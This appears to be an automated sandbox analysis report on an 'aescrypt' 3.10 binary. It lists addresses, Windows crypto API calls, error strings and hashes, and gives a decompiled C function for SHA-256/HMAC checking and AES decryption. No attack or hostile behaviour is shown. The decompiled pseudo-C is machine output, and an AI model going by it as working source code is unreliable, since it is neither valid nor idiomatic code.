0x0087390e
0x00873911
0x00873915
0x00873915
0x00873918
0x0087391e
0x00873920
0x00873929
0x0087392e
0x00873931
0x00873934
0x00873937
0x00873937
0x00873937
0x00873937
0x0087393f
0x0087393f
0x00873945
0x00873947
0x00000000
0x00000000
0x00873947
0x008738d7
0x00873967
0x00873968
0x0087396e
0x00873973
0x00000000
0x00873979
0x00873983
0x00873994
0x00873997
0x0087399d
0x0087399f
0x008739a7
0x008739aa
0x008739ad
0x008739b9
0x008739ba
0x008739bf
0x008739c1
0x008739c2
0x008739c7
0x008739ca
0x008739cd
0x00873a28
0x00873a2b
0x00873a2e
0x00873a31
0x00873a34
0x00873a37
0x00873a3a
0x00873a3d
0x00873a43
0x00873a49
0x00873a4c
0x00873a4f
0x00873a52
0x00873a52
0x00873a54
0x00873a60
0x00873a6d
0x00873a73
0x00873a7d
0x00873a87
0x00873a91
0x00873a9b
0x00873aa5
0x00873aaf
0x00873ab9
0x00873ac3
0x00873acd
0x00873ad2
0x00873ad5
0x00873ad7
0x00873ae8
0x00873aed
0x00873aed
0x00873afa
0x00873aff
0x00873b02
0x00873b02
0x00873b02
0x00873b02
0x00873b19
0x00873b29
0x00873b39
0x00873b3e
0x00873b41
0x00873b41
0x00873b43
0x00873b43
0x00873b47
0x00873b4e
0x00873b55
0x00873b59
0x00873b60
0x00873b67
0x00873b6b
0x00873b72
0x00873b79
0x00873b7d
0x00873b84
0x00873b8b
0x00873b8e
0x00873b8e
0x00873ba0
0x00873ba6
0x00873bb0
0x00873bba
0x00873bc4
0x00873bce
0x00873bd8
0x00873be2
0x00873bec
0x00873bf6
0x00873c00
0x00873c05
0x00873c08
0x00873c10
0x00873c10
0x00873c21
0x00873c28
0x00873c2e
0x00873c34
0x00873c37
0x00873c3a
0x00873c3a
0x00873c40
0x00873c44
0x00873c48
0x00873c49
0x00873c49
0x00873c54
0x00873c5a
0x00873c61
0x00873c67
0x00873c6f
0x00873c74
0x00873c7c
0x00873c7e
0x00873c81
0x00873c83
0x00873c89
0x00873c8b
0x00873c8d
0x00873c8d
0x00873c8d
0x00873c8d
0x00873c93
0x00873c95
0x00873d19
0x00873d29
0x00873d2e
0x00873c9b
0x00873c9b
0x00873c9d
0x00000000
0x00873ca3
0x00873cb0
0x00873cc2
0x00873cc7
0x00873cc9
0x00873ccc
0x00873cd0
0x00873cd2
0x00873cd8
0x00873cdb
0x00873cdf
0x00873cdf
0x00873ce2
0x00873ce8
0x00873cf0
0x00873cf9
0x00873cfe
0x00873d01
0x00873d04
0x00873d07
0x00873d07
0x00873d07
0x00873d07
0x00873d0f
0x00873d0f
0x00873d15
0x00873d17
0x00000000
0x00000000
0x00873d17
0x00873c9d
0x00873d31
0x00873d37
0x00873d38
0x00873d3d
0x00873d3f
0x00873d40
0x00873d45
0x00873d48
0x00873d4b
0x00873f06
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00873d51
0x00873d5a
0x00873d63
0x00873d66
0x00873d6c
0x00873d6f
0x00873d72
0x00873d78
0x00873d78
0x00873d8b
0x00873da2
0x00873dac
0x00873db6
0x00873dc0
0x00873dca
0x00873dd4
0x00873dde
0x00873de8
0x00873df2
0x00873dfc
0x00873e02
0x00873e07
0x00873e0d
0x00873e12
0x00873e15
0x00873e17
0x00873e1d
0x00873e1f
0x00873e25
0x00873e2b
0x00873e2d
0x00873e2f
0x00873e2f
0x00873e2f
0x00873e2f
0x00873e35
0x00873e37
0x00873eb9
0x00873ec9
0x00873ece
0x00873e3d
0x00873e3d
0x00873e3f
0x00000000
0x00873e45
0x00873e52
0x00873e64
0x00873e69
0x00873e6b
0x00873e6e
0x00873e72
0x00873e74
0x00873e7a
0x00873e7d
0x00873e81
0x00873e81
0x00873e84
0x00873e8a
0x00873e90
0x00873e99
0x00873e9e
0x00873ea1
0x00873ea4
0x00873ea7
0x00873ea7
0x00873ea7
0x00873ea7
0x00873eaf
0x00873eaf
0x00873eb5
0x00873eb7
0x00000000
0x00000000
0x00873eb7
0x00873e3f
0x00873edb
0x00873ee6
0x00873ee7
0x00873ee9
0x00873eec
0x00873eee
0x00873eef
0x00873ef4
0x00873ef7
0x00873efa
0x00873f1c
0x00873f22
0x00873f25
0x00873f33
0x00873f36
0x00873f46
0x00873f56
0x00873f5b
0x00873f5e
0x00873f5e
0x00873f60
0x00873f60
0x00873f64
0x00873f6b
0x00873f72
0x00873f76
0x00873f7d
0x00873f84
0x00873f88
0x00873f8f
0x00873f96
0x00873f9a
0x00873fa1
0x00873fa8
0x00873fab
0x00873fab
0x00873fb0
0x00873fbd
0x00873fc7
0x00873fd1
0x00873fdb
0x00873fe5
0x00873fef
0x00873ff9
0x00874003
0x0087400d
0x00874017
0x00874021
0x00874035
0x00874037
0x0087403c
0x0087403f
0x00874045
0x00874047
0x008741c2
0x008741c2
0x008741de
0x008741df
0x008741e1
0x008741e4
0x008741e6
0x008741e9
0x008741ea
0x008741ed
0x008741f2
0x008741f5
0x008741f8
0x0087420e
0x00874225
0x0087422f
0x00874239
0x00874243
0x0087424d
0x00874257
0x00874261
0x0087426b
0x00874275
0x0087427f
0x00874285
0x0087428a
0x00874290
0x00874295
0x00874298
0x0087429a
0x008742a0
0x008742a2
0x008742a8
0x008742ae
0x008742b0
0x008742b2
0x008742b2
0x008742b2
0x008742b2
0x008742b8
0x008742ba
0x0087433c
0x0087434c
0x00874351
0x008742c0
0x008742c0
0x008742c2
0x00000000
0x008742c8
0x008742d5
0x008742e7
0x008742ec
0x008742ee
0x008742f5
0x008742f7
0x008742fd
0x00874300
0x00874302
0x0087430a
0x0087430a
0x0087430d
0x00874313
0x0087431c
0x00874321
0x00874324
0x00874327
0x0087432a
0x0087432a
0x0087432a
0x0087432a
0x00874332
0x00874332
0x00874338
0x0087433a
0x00000000
0x00000000
0x0087433a
0x008742c2
0x0087435e
0x00874363
0x00874369
0x0087436a
0x0087436c
0x0087436f
0x00874371
0x00874372
0x00874377
0x0087437a
0x0087437d
0x00874389
0x0087438a
0x0087438f
0x00874392
0x00874394
0x008743a7
0x008743b2
0x00874396
0x00874396
0x00000000
0x00874396
0x0087437f
0x0087437f
0x00000000
0x0087437f
0x008741fa
0x008741fa
0x00000000
0x008741fa
0x008741c4
0x008741c4
0x00000000
0x008741c4
0x00874050
0x00874050
0x00874050
0x00874050
0x00874052
0x0087405c
0x00874060
0x0087406e
0x00874072
0x00874076
0x00874079
0x00874079
0x00874084
0x0087408a
0x00874091
0x00874097
0x0087409f
0x008740a4
0x008740ac
0x008740ae
0x008740b1
0x008740b3
0x008740b9
0x008740bb
0x008740bd
0x008740bd
0x008740bd
0x008740bd
0x008740c3
0x008740c5
0x00874149
0x00874159
0x0087415e
0x008740cb
0x008740cb
0x008740cd
0x00000000
0x008740d3
0x008740e0
0x008740f2
0x008740f7
0x008740f9
0x008740fc
0x00874100
0x00874102
0x00874108
0x0087410b
0x0087410f
0x0087410f
0x00874112
0x00874118
0x00874120
0x00874129
0x0087412e
0x00874131
0x00874134
0x00874137
0x00874137
0x00874137
0x00874137
0x0087413f
0x0087413f
0x00874145
0x00874147
0x00000000
0x00000000
0x00874147
0x008740cd
0x00874161
0x00874167
0x00874168
0x0087416d
0x0087416f
0x00874170
0x00874175
0x00874178
0x0087417b
0x008741ce
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0087417d
0x00874186
0x0087418c
0x0087418f
0x00874198
0x0087419b
0x008741a7
0x008741aa
0x008741af
0x008741b2
0x008741b8
0x008741b8
0x008741c0
0x00000000
0x008741c0
0x00873efc
0x00873efc
0x00000000
0x00873efc
0x008739cf
0x008739cf
0x008739d4
0x008739d4
0x008739dd
0x008739ee
0x008739f8
0x008739f8
0x008739cd
0x00000000
0x00873973
0x008739f9
0x00873a06
0x00873a07
0x00873a0c
0x00873a15
0x00873a17
0x00000000
0x00873865
0x00873865
0x00000000
0x00873865
0x00873842
0x00873842
0x00000000
0x00873842
0x008737ed
0x008737ed
0x008737f2
0x008737fa
0x008737fb
0x00873809
0x0087380b
0x00000000
0x0087380b
0x008737c7
0x008737c7
0x00000000
0x008737c7
0x00873777
0x00873777
0x00000000
0x00873777
0x00873708
0x00873708
0x0087370d
0x00873712
0x00873712
0x00873715
0x00873716
0x0087371b
0x00873724
0x00873726
0x00873727
0x00873727
0x00873736
0x00873740
0x00873740
0x00873689
0x00873689
0x0087368e
0x00873693
0x00873693
0x00873696
0x00873697
0x008736a5
0x008736a7
0x008736a8
0x008736a8
0x008736b7
0x008736c1
0x008736c1
0x00873429
0x00873429
0x00873431
0x0087343a
0x00873458
0x00873458
0x0087345a
0x00000000
0x0087345c
0x0087345c
0x00873461
0x00873485
0x00873485
0x0087343c
0x0087343c
0x00873441
0x00873443
0x00873445
0x0087344d
0x00873452
0x00000000
0x00873454
0x00873456
0x00000000
0x00873456
0x00873452
0x0087343a
0x00000000

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00873423
GetLastError.KERNEL32 ref: 0087342F
GetLastError.KERNEL32 ref: 00873433
CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000008), ref: 0087344E
GetLastError.KERNEL32 ref: 00873454
_fprintf.LIBCMT ref: 0087346A
_memset.LIBCMT ref: 00873491
CryptGenRandom.ADVAPI32(?,00000020,?), ref: 0087352C
_memmove.LIBCMT ref: 00873581
_memmove.LIBCMT ref: 008735F9
_fprintf.LIBCMT ref: 00873697
CryptReleaseContext.ADVAPI32(?,00000000), ref: 008736A8
_fprintf.LIBCMT ref: 008736D0

Strings

Error: Could not write tag to AES file (3), xrefs: 008737C7
Error: Could not write tag to AES file (5), xrefs: 00873842
Error: Could not write out initialization vector, xrefs: 008739CF
Windows is unable to generate random digits, xrefs: 008736C2, 008739F9
Error: Could not write tag to AES file (6), xrefs: 00873865
@, xrefs: 00874017
Error: Couldn't read input file, xrefs: 008741C4
Error: Could not write tag to AES file (1), xrefs: 00873708
Error: Could not write iv_key HMAC, xrefs: 00873EFC
Error: Could not write the file size modulo, xrefs: 008741FA
aescrypt, xrefs: 00873783
CREATED_BY, xrefs: 0087374C
%s %s, xrefs: 0087378E
Could not acquire handle to crypto context, xrefs: 0087345C
Error: Could not write out header data, xrefs: 00873689
3.10, xrefs: 0087377E
Error: Could not write the file HMAC, xrefs: 0087437F
Error: Could not write to output file, xrefs: 008741CE
Error: Could not write tag to AES file (2), xrefs: 00873777
Error: Could not flush output file buffer, xrefs: 00874396
Error: Could not write iv_key data, xrefs: 00873F06
Error: Could not write tag to AES file (4), xrefs: 008737ED
gj, xrefs: 0087422F

Memory Dump Source

Source File: 00000009.00000002.207047718.0000000000871000.00000020.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000009.00000002.207041126.0000000000870000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207063545.0000000000884000.00000002.00020000.sdmp Download File
Associated: 00000009.00000002.207069634.0000000000888000.00000004.00020000.sdmp Download File
Associated: 00000009.00000002.207074761.000000000088F000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Crypt$ContextErrorLast_fprintf$Acquire_memmove$RandomRelease_memset
String ID: %s %s$3.10$@$CREATED_BY$Could not acquire handle to crypto context$Error: Could not flush output file buffer$Error: Could not write iv_key HMAC$Error: Could not write iv_key data$Error: Could not write out header data$Error: Could not write out initialization vector$Error: Could not write tag to AES file (1)$Error: Could not write tag to AES file (2)$Error: Could not write tag to AES file (3)$Error: Could not write tag to AES file (4)$Error: Could not write tag to AES file (5)$Error: Could not write tag to AES file (6)$Error: Could not write the file HMAC$Error: Could not write the file size modulo$Error: Could not write to output file$Error: Couldn't read input file$Windows is unable to generate random digits$aescrypt$gj
API String ID: 1645823212-3021767901
Opcode ID: f4411a4867ab0cf6fc33c2d24bb0c24b2ac33bc798ead97f806ecb8b94f4ed22
Instruction ID: 2a643dbef94454cd6ad93c1171a1b678eab57bed152c98efc12c233e04b3088c
Opcode Fuzzy Hash: f4411a4867ab0cf6fc33c2d24bb0c24b2ac33bc798ead97f806ecb8b94f4ed22
Instruction Fuzzy Hash: BA929FB2D042189BDB20DFA8DC85BDDB7B4FF58300F1085A9E50DE7245EB719A888F56

Uniqueness

Uniqueness Score: -1.00%

Function 00874678, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 257
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00874678(void* __eax) {
				signed int _t423;
				void* _t426;
				void* _t427;
				void* _t430;
				void* _t431;
				void* _t432;
				void* _t433;
				void* _t434;
				signed int _t435;
				void* _t440;

				do {
					__cl =  *((intOrPtr*)(__ebp + __eax - 0x54));
					 *(__ebp + __eax - 0x118) =  *(__ebp + __eax - 0x118) ^ __cl;
					 *(__ebp + __eax - 0xd8) =  *(__ebp + __eax - 0xd8) ^ __cl;
					__cl =  *((intOrPtr*)(__ebp + __eax - 0x53));
					 *(__ebp + __eax - 0x117) =  *(__ebp + __eax - 0x117) ^ __cl;
					 *(__ebp + __eax - 0xd7) =  *(__ebp + __eax - 0xd7) ^ __cl;
					__cl =  *((intOrPtr*)(__ebp + __eax - 0x52));
					 *(__ebp + __eax - 0x116) =  *(__ebp + __eax - 0x116) ^ __cl;
					 *(__ebp + __eax - 0xd6) =  *(__ebp + __eax - 0xd6) ^ __cl;
					__cl =  *((intOrPtr*)(__ebp + __eax - 0x51));
					 *(__ebp + __eax - 0x115) =  *(__ebp + __eax - 0x115) ^ __cl;
					 *(__ebp + __eax - 0xd5) =  *(__ebp + __eax - 0xd5) ^ __cl;
					__eax = __eax + 4;
					__eflags = __eax - 0x20;
				} while (__eax < 0x20);
				__ecx = __ebp - 0x1b8;
				__eax = __ebp - 0x118;
				 *(__ebp - 0x1b4) = 0;
				 *((intOrPtr*)(__ebp - 0x1b0)) = 0x6a09e667;
				 *((intOrPtr*)(__ebp - 0x1ac)) = 0xbb67ae85;
				 *((intOrPtr*)(__ebp - 0x1a8)) = 0x3c6ef372;
				 *((intOrPtr*)(__ebp - 0x1a4)) = 0xa54ff53a;
				 *((intOrPtr*)(__ebp - 0x1a0)) = 0x510e527f;
				 *((intOrPtr*)(__ebp - 0x19c)) = 0x9b05688c;
				 *((intOrPtr*)(__ebp - 0x198)) = 0x1f83d9ab;
				 *((intOrPtr*)(__ebp - 0x194)) = 0x5be0cd19;
				 *(__ebp - 0x1b8) = 0x40;
				__eax = E00875E90(__ebp - 0x118, __ebp - 0x1b8);
				__eflags =  *((char*)(__ebp - 0x14d)) - 1;
				if( *((char*)(__ebp - 0x14d)) < 1) {
					L42:
					__eax = __ebp - 0x98;
					__esi = E008795CE(__ebp - 0x98, 1, 0x30, __ebx);
					__eflags = __esi - 0x30;
					if(__esi >= 0x30) {
						L56:
						__eflags =  *(__ebp - 0x3d4);
						__ecx = __ebp - 0x68;
						 *(__ebp - 0x3cc) = __ebp - 0x68;
						__esi = __ebp - 0x98;
						if( *(__ebp - 0x3d4) != 0) {
							L95:
							__edx = __ebp - 0x54;
							__ecx = __ebp - 0x1b8;
							E00878680(__ebp - 0x1b8, __ebp - 0x54) = __ebp - 0x1b8;
							__ebx = 0x40;
							__eax = __ebp - 0xd8;
							 *(__ebp - 0x1b4) = 0;
							 *((intOrPtr*)(__ebp - 0x1b0)) = 0x6a09e667;
							 *((intOrPtr*)(__ebp - 0x1ac)) = 0xbb67ae85;
							 *((intOrPtr*)(__ebp - 0x1a8)) = 0x3c6ef372;
							 *((intOrPtr*)(__ebp - 0x1a4)) = 0xa54ff53a;
							 *((intOrPtr*)(__ebp - 0x1a0)) = 0x510e527f;
							 *((intOrPtr*)(__ebp - 0x19c)) = 0x9b05688c;
							 *((intOrPtr*)(__ebp - 0x198)) = 0x1f83d9ab;
							 *((intOrPtr*)(__ebp - 0x194)) = 0x5be0cd19;
							 *(__ebp - 0x1b8) = 0x40;
							__eax = E00875E90(__ebp - 0xd8, __ebp - 0x1b8);
							__eax =  *(__ebp - 0x1b8);
							__edi = __eax;
							__edi = __eax & 0x0000003f;
							__eax = __eax + 0x20;
							__ecx = __ebp - 0x54;
							__ebx = 0x40 - __edi;
							 *(__ebp - 0x3c8) = 0x20;
							 *(__ebp - 0x3c4) = __ebp - 0x54;
							 *(__ebp - 0x1b8) = __eax;
							__eflags = __eax - 0x20;
							if(__eax < 0x20) {
								_t348 = __ebp - 0x1b4;
								 *_t348 =  *(__ebp - 0x1b4) + 1;
								__eflags =  *_t348;
							}
							__eflags = __edi;
							if(__edi == 0) {
								L104:
								__ecx =  *(__ebp - 0x3c8);
								__edx =  *(__ebp - 0x3c4);
								__ebp + __edi - 0x190 = E0087E790(__ebp + __edi - 0x190,  *(__ebp - 0x3c4),  *(__ebp - 0x3c8));
							} else {
								__eflags = __ebx - 0x20;
								if(__ebx > 0x20) {
									goto L104;
								} else {
									__edx = __ebp - 0x54;
									__ebp + __edi - 0x190 = E0087E790(__ebp + __edi - 0x190, __ebp - 0x54, __ebx);
									__ecx = __ebp - 0x1b8;
									__ebp - 0x190 = E00875E90(__ebp - 0x190, __ebp - 0x1b8);
									__eax = 0x20;
									__eax = 0x20 - __ebx;
									__edx = __ebp + __ebx - 0x54;
									__edi = 0;
									 *(__ebp - 0x3c8) = 0x20;
									 *(__ebp - 0x3c4) = __edx;
									__eflags = 0x20 - 0x40;
									if(0x20 >= 0x40) {
										__eax = __eax >> 6;
										__eflags = 0x20;
										 *(__ebp - 0x3d0) = __eax;
										__ebx = __edx;
										do {
											__eax = __ebp - 0x1b8;
											__ebx = E00875E90(__ebx, __ebp - 0x1b8);
											 *(__ebp - 0x3c8) =  *(__ebp - 0x3c8) - 0x40;
											__ebx = __ebx + 0x40;
											_t363 = __ebp - 0x3d0;
											 *_t363 =  *(__ebp - 0x3d0) - 1;
											__eflags =  *_t363;
										} while ( *_t363 != 0);
										 *(__ebp - 0x3c4) = __ebx;
									}
									__eflags =  *(__ebp - 0x3c8) - __edi;
									if( *(__ebp - 0x3c8) != __edi) {
										goto L104;
									}
								}
							}
							__ecx = __ebp - 0x54;
							__ecx = __ebp - 0x1b8;
							__eax = E00878680(__ebp - 0x1b8, __ebp - 0x54);
							__dl =  *((intOrPtr*)(__ebp - 0x14d));
							__eflags = __dl;
							if(__dl != 0) {
								__ecx =  *(__esi + 1);
								__eax =  *(__esi + 5);
								 *(__ebp - 0x34) =  *(__esi + 1);
								__ecx =  *(__esi + 9);
								 *(__ebp - 0x30) =  *(__esi + 5);
								 *(__ebp - 0x2c) =  *(__esi + 9);
								__cl =  *((intOrPtr*)(__esi + 0xf));
								 *(__ebp - 0x28) =  *((intOrPtr*)(__esi + 0xd));
								__esi = __esi + 0x10;
								__eax = __ebp - 0x58;
								 *(__ebp - 0x26) = __cl;
								__eflags = __esi - __ebp - 0x58;
								if(__esi == __ebp - 0x58) {
									__esi = __ebp - 0x98;
								}
								__ecx =  *__esi;
								__eax =  *(__esi + 4);
								 *(__ebp - 0x25) =  *__esi;
								__ecx =  *(__esi + 8);
								 *(__ebp - 0x21) =  *(__esi + 4);
								__eax =  *(__esi + 0xc);
								 *(__ebp - 0x1d) =  *(__esi + 8);
								__esi = __esi + 0x10;
								__ecx = __ebp - 0x58;
								 *(__ebp - 0x19) = __eax;
								__eflags = __esi - __ebp - 0x58;
								if(__esi == __ebp - 0x58) {
									__esi = __ebp - 0x98;
								}
								__al =  *__esi;
								 *((char*)(__ebp - 0x15)) =  *__esi;
							} else {
								__eax =  *__esi;
								__ecx =  *(__esi + 4);
								 *(__ebp - 0x34) =  *__esi;
								__eax =  *(__esi + 8);
								 *(__ebp - 0x30) =  *(__esi + 4);
								__ecx =  *(__esi + 0xc);
								 *(__ebp - 0x2c) =  *(__esi + 8);
								__esi = __esi + 0x10;
								__eax = __ebp - 0x58;
								 *(__ebp - 0x28) = __ecx;
								__eflags = __esi - __ebp - 0x58;
								if(__esi == __ebp - 0x58) {
									__esi = __ebp - 0x98;
								}
								__ecx =  *__esi;
								__eax =  *(__esi + 4);
								 *(__ebp - 0x24) =  *__esi;
								__ecx =  *(__esi + 8);
								 *(__ebp - 0x20) =  *(__esi + 4);
								__eax =  *(__esi + 0xc);
								 *(__ebp - 0x1c) =  *(__esi + 8);
								 *(__ebp - 0x18) =  *(__esi + 0xc);
							}
							__eax = 0x20;
							__ecx = 0;
							__eflags = 0;
							while(1) {
								__esi =  *(__ebp + __ecx - 0x54);
								__eflags = __esi -  *((intOrPtr*)(__ebp + __ecx - 0x34));
								if(__esi !=  *((intOrPtr*)(__ebp + __ecx - 0x34))) {
									break;
								}
								__eax = __eax - 4;
								__ecx = __ecx + 4;
								__eflags = __eax - 4;
								if(__eflags >= 0) {
									continue;
								} else {
									__ecx =  *(__ebp - 0x3dc);
									_push( *(__ebp - 0x3dc));
									__eax = E0087912E(__ebx, __edx, __edi, __esi, __eflags);
									__esp = __esp + 4;
									__eflags = __eax;
									if(__eflags == 0) {
										__eax = 0;
										_pop(__edi);
										_pop(__esi);
										_pop(__ebx);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) ^ __ebp;
										__eflags = __ecx;
										__eax = E00878AD6(0, __ebx, __ecx, __edx, __edi, __esi);
										__esp = __ebp;
										_pop(__ebp);
										return __eax;
									} else {
										_push("Error: Could not flush output file buffer\n");
										goto L2;
									}
								}
								goto L124;
							}
							__eflags = __dl;
							if(__eflags == 0) {
								goto L45;
							} else {
								_push("Error: Message has been altered and should not be trusted\n");
							}
							goto L2;
						} else {
							do {
								__edx = __ebp - 0x58;
								__eflags =  *(__ebp - 0x3cc) - __edx;
								if( *(__ebp - 0x3cc) == __edx) {
									__eax = __ebp - 0x98;
									 *(__ebp - 0x3cc) = __ebp - 0x98;
								}
								__ebx =  *(__ebp - 0x3d8);
								__ecx =  *(__ebp - 0x3cc);
								__edi = E008795CE( *(__ebp - 0x3cc), 1, 0x10, __ebx);
								__eflags = __edi - 0x10;
								if(__edi >= 0x10) {
									__cl =  *((intOrPtr*)(__ebp - 0x14d));
									goto L72;
								} else {
									__eflags = E00878B69(__ebx);
									if(__eflags == 0) {
										_push("Error reading input file:");
										__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
										__esp = __esp + 4;
										__eax = __eax | 0xffffffff;
										_pop(__edi);
										_pop(__esi);
										_pop(__ebx);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) ^ __ebp;
										__eflags = __ecx;
										__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
										__esp = __ebp;
										_pop(__ebp);
										return __eax;
									} else {
										__cl =  *((intOrPtr*)(__ebp - 0x14d));
										__eflags = __cl;
										if(__cl != 0) {
											__eflags = __cl - 1;
											if(__cl < 1) {
												goto L70;
											} else {
												__eflags = __edi - 1;
												if(__eflags != 0) {
													goto L64;
												} else {
													__eax = __esi + 0x10;
													__edx = __ebp - 0x58;
													__eflags = __eax - __ebp - 0x58;
													if(__eax >= __ebp - 0x58) {
														__al =  *(__ebp - 0x98);
														__al =  *(__ebp - 0x98) & 0x0000000f;
														__eflags = __al;
														 *(__ebp - 0x14c) = __al;
														goto L70;
													} else {
														 *__eax =  *__eax & 0x0000000f;
														 *(__ebp - 0x14c) =  *__eax & 0x0000000f;
														 *(__ebp - 0x3d4) = __edi;
													}
													goto L72;
												}
											}
										} else {
											__eflags = __edi;
											if(__eflags <= 0) {
												L70:
												 *(__ebp - 0x3d4) = 1;
												L72:
												__eflags = __edi;
												if(__edi > 0) {
													_t259 = __ebp - 0x3cc;
													 *_t259 =  *(__ebp - 0x3cc) + 0x10;
													__eflags =  *_t259;
													goto L76;
												} else {
													__eflags = __cl;
													if(__cl != 0) {
														goto L94;
													} else {
														L76:
														__eax =  *__esi;
														__ecx =  *(__esi + 4);
														__edx =  *(__esi + 8);
														 *(__ebp - 0x34) =  *__esi;
														__eax =  *(__esi + 0xc);
														 *(__ebp - 0x28) =  *(__esi + 0xc);
														__eax =  *(__ebp - 0x1b8);
														__edi = __eax;
														__edi = __eax & 0x0000003f;
														__ebx = 0x40;
														__eax = __eax + 0x10;
														__ebx = 0x40 - __edi;
														 *(__ebp - 0x30) =  *(__esi + 4);
														 *(__ebp - 0x2c) =  *(__esi + 8);
														 *(__ebp - 0x3c8) = 0x10;
														 *(__ebp - 0x3c4) = __esi;
														 *(__ebp - 0x1b8) = __eax;
														__eflags = __eax - 0x10;
														if(__eax < 0x10) {
															_t272 = __ebp - 0x1b4;
															 *_t272 =  *(__ebp - 0x1b4) + 1;
															__eflags =  *_t272;
														}
														__eflags = __edi;
														if(__edi == 0) {
															L85:
															__ecx =  *(__ebp - 0x3c8);
															__edx =  *(__ebp - 0x3c4);
															__ebp + __edi - 0x190 = E0087E790(__ebp + __edi - 0x190,  *(__ebp - 0x3c4),  *(__ebp - 0x3c8));
														} else {
															__eflags = __ebx - 0x10;
															if(__ebx > 0x10) {
																goto L85;
															} else {
																__ecx = __ebp + __edi - 0x190;
																__eax = E0087E790(__ebp + __edi - 0x190, __esi, __ebx);
																__edx = __ebp - 0x1b8;
																__ebp - 0x190 = E00875E90(__ebp - 0x190, __ebp - 0x1b8);
																__eax = 0x10;
																__eax = 0x10 - __ebx;
																__ebx = __ebx + __esi;
																__edi = 0;
																 *(__ebp - 0x3c8) = 0x10;
																 *(__ebp - 0x3c4) = __ebx;
																__eflags = 0x10 - 0x40;
																if(0x10 >= 0x40) {
																	__eax = __eax >> 6;
																	__eflags = 0x10;
																	 *(__ebp - 0x3d0) = __eax;
																	do {
																		__eax = __ebp - 0x1b8;
																		__ebx = E00875E90(__ebx, __ebp - 0x1b8);
																		 *(__ebp - 0x3c8) =  *(__ebp - 0x3c8) - 0x40;
																		__ebx = __ebx + 0x40;
																		_t284 = __ebp - 0x3d0;
																		 *_t284 =  *(__ebp - 0x3d0) - 1;
																		__eflags =  *_t284;
																	} while ( *_t284 != 0);
																	 *(__ebp - 0x3c4) = __ebx;
																}
																__eflags =  *(__ebp - 0x3c8) - __edi;
																if( *(__ebp - 0x3c8) != __edi) {
																	goto L85;
																}
															}
														}
														__ecx = __ebp - 0x3c0;
														__ecx = __esi;
														__eax = E008724A0(__esi, __ebp - 0x3c0, __esi);
														__ecx = __esi;
														__ecx =  ~__esi;
														__ebx = __ebp + __ecx - 0x12;
														__edi = __ebp + __ecx - 0x14;
														__edx = __ebp + __ecx - 0x13;
														 *(__ebp - 0x3c4) = __ecx;
														__eax = __esi;
														 *(__ebp - 0x3d0) = __ebx;
														__ecx = 4;
														do {
															__ebx =  *(__eax + __edi) & 0x000000ff;
															 *__eax =  *__eax ^ __bl;
															__ebx =  *(__eax + __edx) & 0x000000ff;
															 *(__eax + 1) =  *(__eax + 1) ^ __bl;
															 *(__ebp - 0x3d0) =  *(__eax +  *(__ebp - 0x3d0)) & 0x000000ff;
															 *(__eax + 2) =  *(__eax + 2) ^ __bl;
															__ebx =  *(__ebp - 0x3c4);
															__ebx =  *(__eax +  *(__ebp - 0x3c4)) & 0x000000ff;
															 *(__eax + 3) =  *(__eax + 3) ^ __bl;
															__eax = __eax + 4;
															__ecx = __ecx - 1;
															__eflags = __ecx;
														} while (__ecx != 0);
														__eflags =  *(__ebp - 0x3d4);
														__edx =  *(__ebp - 0x34);
														__eax =  *(__ebp - 0x30);
														__ecx =  *(__ebp - 0x2c);
														 *(__ebp - 0x14) =  *(__ebp - 0x34);
														__edx =  *(__ebp - 0x28);
														 *(__ebp - 0x10) =  *(__ebp - 0x30);
														 *(__ebp - 0xc) =  *(__ebp - 0x2c);
														 *(__ebp - 8) = __edx;
														if(__eflags == 0) {
															L90:
															__edi = 0x10;
														} else {
															__al =  *(__ebp - 0x14c);
															__edi = __al & 0x000000ff;
															__eflags = __al;
															if(__eflags == 0) {
																goto L90;
															}
														}
														__eax =  *(__ebp - 0x3dc);
														_push( *(__ebp - 0x3dc));
														_push(__edi);
														_push(1);
														_push(__esi);
														__eax = E008798AF(__ebx, __edx, __edi, __esi, __eflags);
														__esp = __esp + 0x10;
														__eflags = __eax - __edi;
														if(__eflags != 0) {
															_push("Error writing decrypted block:");
															__eax = E00878BB9(__ebx, __edx, __edi, __esi, __eflags);
															__esp = __esp + 4;
															__eax = __eax | 0xffffffff;
															_pop(__edi);
															_pop(__esi);
															_pop(__ebx);
															__ecx =  *(__ebp - 4);
															__ecx =  *(__ebp - 4) ^ __ebp;
															__eflags = __ecx;
															__eax = E00878AD6(__eax, __ebx, __ecx, __edx, __edi, __esi);
															__esp = __ebp;
															_pop(__ebp);
															return __eax;
														} else {
															__esi = __esi + 0x10;
															__ecx = __ebp - 0x58;
															__eflags = __esi - __ebp - 0x58;
															if(__esi == __ebp - 0x58) {
																__esi = __ebp - 0x98;
															}
															goto L94;
														}
													}
												}
											} else {
												L64:
												_push(__edi);
												_push("Error: Input file is corrupt (3:%d).\n");
												goto L3;
											}
										}
									}
								}
								goto L124;
								L94:
								__eflags =  *(__ebp - 0x3d4);
							} while ( *(__ebp - 0x3d4) == 0);
							goto L95;
						}
					} else {
						__eflags = E00878B69(__ebx);
						if(__eflags != 0) {
							__al =  *((intOrPtr*)(__ebp - 0x14d));
							__eflags = __al;
							if(__al != 0) {
								__eflags = __al - 1;
								if(__al < 1) {
									goto L48;
								} else {
									__eflags = __esi - 0x21;
									if(__eflags == 0) {
										__al =  *(__ebp - 0x98);
										__al =  *(__ebp - 0x98) & 0x0000000f;
										 *(__ebp - 0x14c) = __al;
										goto L49;
									} else {
										goto L53;
									}
								}
							} else {
								__eflags = __esi - 0x20;
								if(__eflags != 0) {
									L53:
									_push(__esi);
									_push("Error: Input file is corrupt (1:%d).\n");
									L3:
									__eax = E00878DA3();
									__eax = E008795EB(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
